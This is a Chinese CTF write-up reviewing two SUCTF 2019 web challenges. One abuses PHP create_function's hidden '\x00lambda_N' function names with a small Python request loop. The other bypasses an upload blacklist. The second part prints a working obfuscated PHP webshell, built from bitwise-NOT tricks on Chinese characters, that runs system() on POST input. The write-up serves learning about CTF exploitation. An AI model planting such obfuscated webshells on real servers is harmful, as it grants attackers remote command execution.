SUCTF复盘

2019-01-15  本文已影响0人  Err0rzz

当时没好好打,现在把环境复现一下对着wp撸一发。

WEB

annonymous

这题原思路是HITCON2017的一个题目,而且我也看过土师傅的wp,很不幸的是我做的时候还是忘了。。


如图,要想拿到flag,要么执行SUCTF_$hash函数,要么直接执行$MY函数。而 openssl_random_pseudo_bytes(32)碰撞出来基本靠命,所以只能靠create_function匿名函数来。

匿名函数会被设置为\x00lambda_%d,这里的%d是顺序递增的。就算不知道也可以将$MY输出出来看一下


这里我一开始以为就是lambda_%d然后试了半天出不来,后来才发现还有一个不可见字符,在页面上看不到,而在抓包下可以明显看出
注意到了之后写个循环脚本就可以了
#!/usr/bin/env python
# coding=utf-8
import requests
url = "http://108.61.173.33:20000//?func_name="
while True:
    r = requests.get(url+"%00lambda_1");
    print r.text;
    break

getshell

打开上传页面有段上传代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

上传成功后也可以直接访问


所以问题就是如何得到黑名单。
我用bp抓一下包来爆破一下


可见字符中就这么几个是不会被拦截的。
接下来就是如何用这几个字符$ ( ) [ ] _ ~来写shell
根据P牛的博客中的方法二
这里我直接搬运了别人的payload
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
<?php
$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

上传之后就可以拿到shell


(未完待续)

上一篇 下一篇

猜你喜欢

热点阅读